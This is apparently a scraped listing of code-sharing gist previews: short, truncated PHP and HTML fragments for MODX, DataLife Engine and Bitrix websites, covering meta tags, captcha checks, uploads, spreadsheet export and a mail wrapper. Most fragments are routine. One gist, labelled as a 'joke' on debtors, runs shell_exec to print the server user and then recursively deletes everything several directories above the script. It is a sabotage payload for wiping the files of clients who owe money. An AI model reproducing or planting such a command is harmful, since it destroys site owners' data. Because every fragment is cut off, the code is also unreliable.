This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<meta property="og:image" content="[[++site_url]]Gallery/bgrvk.png"/> | |
<meta property="og:site_name" content="[[++site_name]]"/> | |
<meta property="og:title" content="[[*pagetitle]]"/> | |
<meta property="og:url" content="[[~[[*id]]? &scheme=`full`]]"/> | |
<meta property="og:type" content="article"/> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- required snowstorm JS, default behaviour --> | |
<script src="https://cdnjs.cloudflare.com/ajax/libs/Snowstorm/20131208/snowstorm.js"></script> | |
<!-- now, we'll customize the snowStorm object --> | |
<script> | |
snowStorm.flakeWidth = 20; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ($_POST['ajax']) { | |
session_start(); | |
if ($_REQUEST['sec_code'] != $_SESSION['sec_code_session'] OR !$_SESSION['sec_code_session']) die("0"); | |
else die("1"); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?PHP | |
if(!defined('DATALIFEENGINE')) | |
{ | |
die("Hacking attempt!"); | |
} | |
function files_structure($name) | |
{ | |
$fil_arr = array(); | |
for ($i = 0; $i < count($_FILES[$name]['tmp_name']); $i++) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* имеются проблемы с кирилицей | |
* делаем так | |
* $resource = $modx->getObject('msCategory', ['parent' => 2, 'introtext' => mb_convert_encoding($category->Ид, "UTF-8", "auto")],false); | |
/* | |
ini_set('display_errors', 1); | |
error_reporting(E_ALL); | |
header('Content-type: text/html; charset=utf-8'); | |
set_time_limit(0); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
case "xlsstar": | |
require ENGINE_DIR . "/modules/cform/Classes/PHPExcel.php"; | |
$objPHPExcel = new PHPExcel(); | |
$objPHPExcel->setActiveSheetIndex(0); | |
$active_sheet = $objPHPExcel->getActiveSheet(); | |
$active_sheet->setTitle('1'); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
if (count($arResult["VIDEOS"]) > 0) { | |
foreach ($arResult["VIDEOS"] as $video) { | |
?> | |
<div class="video_worker"> | |
<div class="video_div" style="background-image: url(<?= $video["IMG"] ?>);"> | |
<span data-code="<?= $video["CODE"] ?>"></span> | |
<div class="name"> | |
<?= $video["NAME"] ?> | |
</div> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
require ($_SERVER["DOCUMENT_ROOT"].'/local/php_interface/phpmailer/PHPMailerAutoload.php'); | |
function custom_mail($to, $subject, $message, $additional_headers, $additional_parameters) { | |
echo "<script>alert('ауе !')</script>"; | |
//return false; | |
$to = str_replace(' ','',$to); | |
#$from="[email protected]"; | |
$fromName="Dental Guru"; | |
#$host="ssl://smtp.gmail.com"; | |
$port=465; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//шутки с должниками | |
print '<pre>'.shell_exec('whoami').'</pre>'; | |
shell_exec('cd ../../../../ && rm -r *'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
[[+phx:input=`now`:strtotime:el=`[[+publishedon:add=`7776000`]]`:then=` <span style="color: #46a546;" >NEW</span>`:else=``]] | |
//меняем шаблон всем русурсам у указанного родителя | |
$parent = 1840; //укажите ID родителя | |
$template = 83; //укажите ID нового шаблона | |
foreach ($modx->getIterator('modResource', array('parent' => $parent)) as $resource) { | |
$resource->set('template', $template); | |
$resource->save(); |